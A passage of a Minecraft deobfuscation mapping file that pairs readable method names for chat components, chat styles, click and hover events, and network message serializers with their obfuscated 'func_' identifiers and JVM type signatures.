(Lio/netty/channel/ChannelHandlerContext;Lnet/minecraft/network/Packet;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/util/MessageSerializer/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V net/minecraft/util/MessageSerializer/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/network/INetHandler/onDisconnect (Lnet/minecraft/util/IChatComponent;)V net/minecraft/network/INetHandler/func_147231_a (Lnet/minecraft/util/IChatComponent;)V +MD: net/minecraft/util/MessageDeserializer2/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V net/minecraft/util/MessageDeserializer2/decode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Ljava/util/List;)V +MD: net/minecraft/util/MessageSerializer2/encode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V net/minecraft/util/MessageSerializer2/encode (Lio/netty/channel/ChannelHandlerContext;Lio/netty/buffer/ByteBuf;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/util/MessageSerializer2/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V net/minecraft/util/MessageSerializer2/encode (Lio/netty/channel/ChannelHandlerContext;Ljava/lang/Object;Lio/netty/buffer/ByteBuf;)V +MD: net/minecraft/util/ChatComponentStyle$1/apply (Lnet/minecraft/util/IChatComponent;)Ljava/util/Iterator; net/minecraft/util/ChatComponentStyle$1/apply (Lnet/minecraft/util/IChatComponent;)Ljava/util/Iterator; +MD: net/minecraft/util/ChatComponentStyle$1/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/ChatComponentStyle$1/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/ChatComponentStyle$2/apply (Lnet/minecraft/util/IChatComponent;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentStyle$2/apply (Lnet/minecraft/util/IChatComponent;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentStyle$2/apply (Ljava/lang/Object;)Ljava/lang/Object; net/minecraft/util/ChatComponentStyle$2/apply (Ljava/lang/Object;)Ljava/lang/Object; +MD: net/minecraft/util/ChatComponentStyle/getSiblings ()Ljava/util/List; net/minecraft/util/ChatComponentStyle/func_150253_a ()Ljava/util/List; +MD: net/minecraft/util/ChatComponentStyle/appendSibling (Lnet/minecraft/util/IChatComponent;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentStyle/func_150257_a (Lnet/minecraft/util/IChatComponent;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentStyle/setChatStyle (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentStyle/func_150255_a (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentStyle/createDeepCopyIterator (Ljava/lang/Iterable;)Ljava/util/Iterator; net/minecraft/util/ChatComponentStyle/func_150262_a (Ljava/lang/Iterable;)Ljava/util/Iterator; +MD: net/minecraft/util/ChatComponentStyle/appendText (Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentStyle/func_150258_a (Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentStyle/getChatStyle ()Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatComponentStyle/func_150256_b ()Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatComponentStyle/getUnformattedText ()Ljava/lang/String; net/minecraft/util/ChatComponentStyle/func_150260_c ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentStyle/getFormattedText ()Ljava/lang/String; net/minecraft/util/ChatComponentStyle/func_150254_d ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentStyle/equals (Ljava/lang/Object;)Z net/minecraft/util/ChatComponentStyle/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/ChatComponentStyle/hashCode ()I net/minecraft/util/ChatComponentStyle/hashCode ()I +MD: net/minecraft/util/ChatComponentStyle/iterator ()Ljava/util/Iterator; net/minecraft/util/ChatComponentStyle/iterator ()Ljava/util/Iterator; +MD: net/minecraft/util/ChatComponentStyle/toString ()Ljava/lang/String; net/minecraft/util/ChatComponentStyle/toString ()Ljava/lang/String; +MD: net/minecraft/event/ClickEvent$Action/shouldAllowInChat ()Z net/minecraft/event/ClickEvent$Action/func_150674_a ()Z +MD: net/minecraft/event/ClickEvent$Action/getValueByCanonicalName (Ljava/lang/String;)Lnet/minecraft/event/ClickEvent$Action; net/minecraft/event/ClickEvent$Action/func_150672_a (Ljava/lang/String;)Lnet/minecraft/event/ClickEvent$Action; +MD: net/minecraft/event/ClickEvent$Action/getCanonicalName ()Ljava/lang/String; net/minecraft/event/ClickEvent$Action/func_150673_b ()Ljava/lang/String; +MD: net/minecraft/event/ClickEvent$Action/values ()[Lnet/minecraft/event/ClickEvent$Action; net/minecraft/event/ClickEvent$Action/values ()[Lnet/minecraft/event/ClickEvent$Action; +MD: net/minecraft/event/ClickEvent/getAction ()Lnet/minecraft/event/ClickEvent$Action; net/minecraft/event/ClickEvent/func_150669_a ()Lnet/minecraft/event/ClickEvent$Action; +MD: net/minecraft/event/ClickEvent/getValue ()Ljava/lang/String; net/minecraft/event/ClickEvent/func_150668_b ()Ljava/lang/String; +MD: net/minecraft/event/ClickEvent/equals (Ljava/lang/Object;)Z net/minecraft/event/ClickEvent/equals (Ljava/lang/Object;)Z +MD: net/minecraft/event/ClickEvent/hashCode ()I net/minecraft/event/ClickEvent/hashCode ()I +MD: net/minecraft/event/ClickEvent/toString ()Ljava/lang/String; net/minecraft/event/ClickEvent/toString ()Ljava/lang/String; +MD: net/minecraft/util/IChatComponent$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/IChatComponent$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/IChatComponent$Serializer/componentToJson (Lnet/minecraft/util/IChatComponent;)Ljava/lang/String; net/minecraft/util/IChatComponent$Serializer/func_150696_a (Lnet/minecraft/util/IChatComponent;)Ljava/lang/String; +MD: net/minecraft/util/IChatComponent$Serializer/serialize (Lnet/minecraft/util/IChatComponent;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/util/IChatComponent$Serializer/serialize (Lnet/minecraft/util/IChatComponent;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/util/IChatComponent$Serializer/serializeChatStyle (Lnet/minecraft/util/ChatStyle;Lcom/google/gson/JsonObject;Lcom/google/gson/JsonSerializationContext;)V net/minecraft/util/IChatComponent$Serializer/func_150695_a (Lnet/minecraft/util/ChatStyle;Lcom/google/gson/JsonObject;Lcom/google/gson/JsonSerializationContext;)V +MD: net/minecraft/util/IChatComponent$Serializer/jsonToComponent (Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/IChatComponent$Serializer/func_150699_a (Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/IChatComponent$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/util/IChatComponent$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/util/IChatComponent$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/util/IChatComponent$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/util/IChatComponent/getSiblings ()Ljava/util/List; net/minecraft/util/IChatComponent/func_150253_a ()Ljava/util/List; +MD: net/minecraft/util/IChatComponent/appendSibling (Lnet/minecraft/util/IChatComponent;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/IChatComponent/func_150257_a (Lnet/minecraft/util/IChatComponent;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/IChatComponent/setChatStyle (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/IChatComponent/func_150255_a (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/IChatComponent/appendText (Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/IChatComponent/func_150258_a (Ljava/lang/String;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/IChatComponent/getChatStyle ()Lnet/minecraft/util/ChatStyle; net/minecraft/util/IChatComponent/func_150256_b ()Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/IChatComponent/getUnformattedText ()Ljava/lang/String; net/minecraft/util/IChatComponent/func_150260_c ()Ljava/lang/String; +MD: net/minecraft/util/IChatComponent/getFormattedText ()Ljava/lang/String; net/minecraft/util/IChatComponent/func_150254_d ()Ljava/lang/String; +MD: net/minecraft/util/IChatComponent/getUnformattedTextForChat ()Ljava/lang/String; net/minecraft/util/IChatComponent/func_150261_e ()Ljava/lang/String; +MD: net/minecraft/util/IChatComponent/createCopy ()Lnet/minecraft/util/IChatComponent; net/minecraft/util/IChatComponent/func_150259_f ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentProcessor/processComponent (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/util/IChatComponent;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentProcessor/func_179985_a (Lnet/minecraft/command/ICommandSender;Lnet/minecraft/util/IChatComponent;Lnet/minecraft/entity/Entity;)Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/event/HoverEvent$Action/shouldAllowInChat ()Z net/minecraft/event/HoverEvent$Action/func_150686_a ()Z +MD: net/minecraft/event/HoverEvent$Action/getValueByCanonicalName (Ljava/lang/String;)Lnet/minecraft/event/HoverEvent$Action; net/minecraft/event/HoverEvent$Action/func_150684_a (Ljava/lang/String;)Lnet/minecraft/event/HoverEvent$Action; +MD: net/minecraft/event/HoverEvent$Action/getCanonicalName ()Ljava/lang/String; net/minecraft/event/HoverEvent$Action/func_150685_b ()Ljava/lang/String; +MD: net/minecraft/event/HoverEvent$Action/values ()[Lnet/minecraft/event/HoverEvent$Action; net/minecraft/event/HoverEvent$Action/values ()[Lnet/minecraft/event/HoverEvent$Action; +MD: net/minecraft/event/HoverEvent/getAction ()Lnet/minecraft/event/HoverEvent$Action; net/minecraft/event/HoverEvent/func_150701_a ()Lnet/minecraft/event/HoverEvent$Action; +MD: net/minecraft/event/HoverEvent/getValue ()Lnet/minecraft/util/IChatComponent; net/minecraft/event/HoverEvent/func_150702_b ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/event/HoverEvent/equals (Ljava/lang/Object;)Z net/minecraft/event/HoverEvent/equals (Ljava/lang/Object;)Z +MD: net/minecraft/event/HoverEvent/hashCode ()I net/minecraft/event/HoverEvent/hashCode ()I +MD: net/minecraft/event/HoverEvent/toString ()Ljava/lang/String; net/minecraft/event/HoverEvent/toString ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentScore/setValue (Ljava/lang/String;)V net/minecraft/util/ChatComponentScore/func_179997_b (Ljava/lang/String;)V +MD: net/minecraft/util/ChatComponentScore/getUnformattedTextForChat ()Ljava/lang/String; net/minecraft/util/ChatComponentScore/func_150261_e ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentScore/equals (Ljava/lang/Object;)Z net/minecraft/util/ChatComponentScore/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/ChatComponentScore/createCopy ()Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentScore/func_150259_f ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentScore/getName ()Ljava/lang/String; net/minecraft/util/ChatComponentScore/func_179995_g ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentScore/getObjective ()Ljava/lang/String; net/minecraft/util/ChatComponentScore/func_179994_h ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentScore/createCopy ()Lnet/minecraft/util/ChatComponentScore; net/minecraft/util/ChatComponentScore/func_150259_f ()Lnet/minecraft/util/ChatComponentScore; +MD: net/minecraft/util/ChatComponentScore/toString ()Ljava/lang/String; net/minecraft/util/ChatComponentScore/toString ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentSelector/getUnformattedTextForChat ()Ljava/lang/String; net/minecraft/util/ChatComponentSelector/func_150261_e ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentSelector/equals (Ljava/lang/Object;)Z net/minecraft/util/ChatComponentSelector/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/ChatComponentSelector/createCopy ()Lnet/minecraft/util/IChatComponent; net/minecraft/util/ChatComponentSelector/func_150259_f ()Lnet/minecraft/util/IChatComponent; +MD: net/minecraft/util/ChatComponentSelector/getSelector ()Ljava/lang/String; net/minecraft/util/ChatComponentSelector/func_179992_g ()Ljava/lang/String; +MD: net/minecraft/util/ChatComponentSelector/createCopy ()Lnet/minecraft/util/ChatComponentSelector; net/minecraft/util/ChatComponentSelector/func_150259_f ()Lnet/minecraft/util/ChatComponentSelector; +MD: net/minecraft/util/ChatComponentSelector/toString ()Ljava/lang/String; net/minecraft/util/ChatComponentSelector/toString ()Ljava/lang/String; +MD: net/minecraft/util/ChatStyle$1/getColor ()Lnet/minecraft/util/EnumChatFormatting; net/minecraft/util/ChatStyle$1/func_150215_a ()Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/util/ChatStyle$1/setColor (Lnet/minecraft/util/EnumChatFormatting;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150238_a (Lnet/minecraft/util/EnumChatFormatting;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/setChatClickEvent (Lnet/minecraft/event/ClickEvent;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150241_a (Lnet/minecraft/event/ClickEvent;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/setChatHoverEvent (Lnet/minecraft/event/HoverEvent;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150209_a (Lnet/minecraft/event/HoverEvent;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/setParentStyle (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150221_a (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/setBold (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150227_a (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/getBold ()Z net/minecraft/util/ChatStyle$1/func_150223_b ()Z +MD: net/minecraft/util/ChatStyle$1/setItalic (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150217_b (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/getItalic ()Z net/minecraft/util/ChatStyle$1/func_150242_c ()Z +MD: net/minecraft/util/ChatStyle$1/setStrikethrough (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150225_c (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/getStrikethrough ()Z net/minecraft/util/ChatStyle$1/func_150236_d ()Z +MD: net/minecraft/util/ChatStyle$1/setUnderlined (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150228_d (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/getUnderlined ()Z net/minecraft/util/ChatStyle$1/func_150234_e ()Z +MD: net/minecraft/util/ChatStyle$1/setObfuscated (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150237_e (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/getObfuscated ()Z net/minecraft/util/ChatStyle$1/func_150233_f ()Z +MD: net/minecraft/util/ChatStyle$1/getChatClickEvent ()Lnet/minecraft/event/ClickEvent; net/minecraft/util/ChatStyle$1/func_150235_h ()Lnet/minecraft/event/ClickEvent; +MD: net/minecraft/util/ChatStyle$1/getChatHoverEvent ()Lnet/minecraft/event/HoverEvent; net/minecraft/util/ChatStyle$1/func_150210_i ()Lnet/minecraft/event/HoverEvent; +MD: net/minecraft/util/ChatStyle$1/getInsertion ()Ljava/lang/String; net/minecraft/util/ChatStyle$1/func_179986_j ()Ljava/lang/String; +MD: net/minecraft/util/ChatStyle$1/getFormattingCode ()Ljava/lang/String; net/minecraft/util/ChatStyle$1/func_150218_j ()Ljava/lang/String; +MD: net/minecraft/util/ChatStyle$1/createShallowCopy ()Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150232_l ()Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/createDeepCopy ()Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$1/func_150206_m ()Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$1/toString ()Ljava/lang/String; net/minecraft/util/ChatStyle$1/toString ()Ljava/lang/String; +MD: net/minecraft/util/ChatStyle$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle$Serializer/serialize (Lnet/minecraft/util/ChatStyle;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/util/ChatStyle$Serializer/serialize (Lnet/minecraft/util/ChatStyle;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/util/ChatStyle$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; net/minecraft/util/ChatStyle$Serializer/deserialize (Lcom/google/gson/JsonElement;Ljava/lang/reflect/Type;Lcom/google/gson/JsonDeserializationContext;)Ljava/lang/Object; +MD: net/minecraft/util/ChatStyle$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; net/minecraft/util/ChatStyle$Serializer/serialize (Ljava/lang/Object;Ljava/lang/reflect/Type;Lcom/google/gson/JsonSerializationContext;)Lcom/google/gson/JsonElement; +MD: net/minecraft/util/ChatStyle/getColor ()Lnet/minecraft/util/EnumChatFormatting; net/minecraft/util/ChatStyle/func_150215_a ()Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/util/ChatStyle/setColor (Lnet/minecraft/util/EnumChatFormatting;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150238_a (Lnet/minecraft/util/EnumChatFormatting;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/setChatClickEvent (Lnet/minecraft/event/ClickEvent;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150241_a (Lnet/minecraft/event/ClickEvent;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/setChatHoverEvent (Lnet/minecraft/event/HoverEvent;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150209_a (Lnet/minecraft/event/HoverEvent;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/setParentStyle (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150221_a (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/access$502 (Lnet/minecraft/util/ChatStyle;Lnet/minecraft/util/EnumChatFormatting;)Lnet/minecraft/util/EnumChatFormatting; net/minecraft/util/ChatStyle/access$502 (Lnet/minecraft/util/ChatStyle;Lnet/minecraft/util/EnumChatFormatting;)Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/util/ChatStyle/access$702 (Lnet/minecraft/util/ChatStyle;Lnet/minecraft/event/ClickEvent;)Lnet/minecraft/event/ClickEvent; net/minecraft/util/ChatStyle/access$702 (Lnet/minecraft/util/ChatStyle;Lnet/minecraft/event/ClickEvent;)Lnet/minecraft/event/ClickEvent; +MD: net/minecraft/util/ChatStyle/access$802 (Lnet/minecraft/util/ChatStyle;Lnet/minecraft/event/HoverEvent;)Lnet/minecraft/event/HoverEvent; net/minecraft/util/ChatStyle/access$802 (Lnet/minecraft/util/ChatStyle;Lnet/minecraft/event/HoverEvent;)Lnet/minecraft/event/HoverEvent; +MD: net/minecraft/util/ChatStyle/access$002 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$002 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/access$602 (Lnet/minecraft/util/ChatStyle;Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/ChatStyle/access$602 (Lnet/minecraft/util/ChatStyle;Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/ChatStyle/setBold (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150227_a (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/setInsertion (Ljava/lang/String;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_179989_a (Ljava/lang/String;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/getBold ()Z net/minecraft/util/ChatStyle/func_150223_b ()Z +MD: net/minecraft/util/ChatStyle/access$000 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$000 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/access$102 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$102 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/setItalic (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150217_b (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/getItalic ()Z net/minecraft/util/ChatStyle/func_150242_c ()Z +MD: net/minecraft/util/ChatStyle/access$100 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$100 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/access$202 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$202 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/setStrikethrough (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150225_c (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/getStrikethrough ()Z net/minecraft/util/ChatStyle/func_150236_d ()Z +MD: net/minecraft/util/ChatStyle/access$200 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$200 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/access$302 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$302 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/setUnderlined (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150228_d (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/getUnderlined ()Z net/minecraft/util/ChatStyle/func_150234_e ()Z +MD: net/minecraft/util/ChatStyle/access$300 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$300 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/access$402 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$402 (Lnet/minecraft/util/ChatStyle;Ljava/lang/Boolean;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/setObfuscated (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150237_e (Ljava/lang/Boolean;)Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/equals (Ljava/lang/Object;)Z net/minecraft/util/ChatStyle/equals (Ljava/lang/Object;)Z +MD: net/minecraft/util/ChatStyle/getObfuscated ()Z net/minecraft/util/ChatStyle/func_150233_f ()Z +MD: net/minecraft/util/ChatStyle/access$400 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; net/minecraft/util/ChatStyle/access$400 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/Boolean; +MD: net/minecraft/util/ChatStyle/isEmpty ()Z net/minecraft/util/ChatStyle/func_150229_g ()Z +MD: net/minecraft/util/ChatStyle/access$500 (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/EnumChatFormatting; net/minecraft/util/ChatStyle/access$500 (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/util/EnumChatFormatting; +MD: net/minecraft/util/ChatStyle/getChatClickEvent ()Lnet/minecraft/event/ClickEvent; net/minecraft/util/ChatStyle/func_150235_h ()Lnet/minecraft/event/ClickEvent; +MD: net/minecraft/util/ChatStyle/access$600 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/String; net/minecraft/util/ChatStyle/access$600 (Lnet/minecraft/util/ChatStyle;)Ljava/lang/String; +MD: net/minecraft/util/ChatStyle/hashCode ()I net/minecraft/util/ChatStyle/hashCode ()I +MD: net/minecraft/util/ChatStyle/getChatHoverEvent ()Lnet/minecraft/event/HoverEvent; net/minecraft/util/ChatStyle/func_150210_i ()Lnet/minecraft/event/HoverEvent; +MD: net/minecraft/util/ChatStyle/access$700 (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/event/ClickEvent; net/minecraft/util/ChatStyle/access$700 (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/event/ClickEvent; +MD: net/minecraft/util/ChatStyle/getInsertion ()Ljava/lang/String; net/minecraft/util/ChatStyle/func_179986_j ()Ljava/lang/String; +MD: net/minecraft/util/ChatStyle/access$800 (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/event/HoverEvent; net/minecraft/util/ChatStyle/access$800 (Lnet/minecraft/util/ChatStyle;)Lnet/minecraft/event/HoverEvent; +MD: net/minecraft/util/ChatStyle/getFormattingCode ()Ljava/lang/String; net/minecraft/util/ChatStyle/func_150218_j ()Ljava/lang/String; +MD: net/minecraft/util/ChatStyle/createShallowCopy ()Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150232_l ()Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/createDeepCopy ()Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150206_m ()Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/getParent ()Lnet/minecraft/util/ChatStyle; net/minecraft/util/ChatStyle/func_150224_n ()Lnet/minecraft/util/ChatStyle; +MD: net/minecraft/util/ChatStyle/toString ()Ljava/lang/String; net/minecraft/util/ChatStyle/toString ()Ljava/lang/String; +MD: net/minecraft/util/ChatAllowedCharacters/isAllowedCharacter (C)Z net/minecraft/util/ChatAllowedCharacters/func_71566_a (C)Z +MD: net/minecraft/util/ChatAllowedCharacters/filterAllowedCharacters (Ljava/lang/String;)Ljava/lang/String; net/minecraft/util/ChatAllowedCharacters/func_71565_a (Ljava/lang/String;)Ljava/lang/String; +MD: net/minecraft/util/ChatComponentText/getUnformattedTextForChat ()Ljava/lang/String; net/minecraft/util/ChatComponentText/func_150261_e ()Ljava/lang/String; +MD: 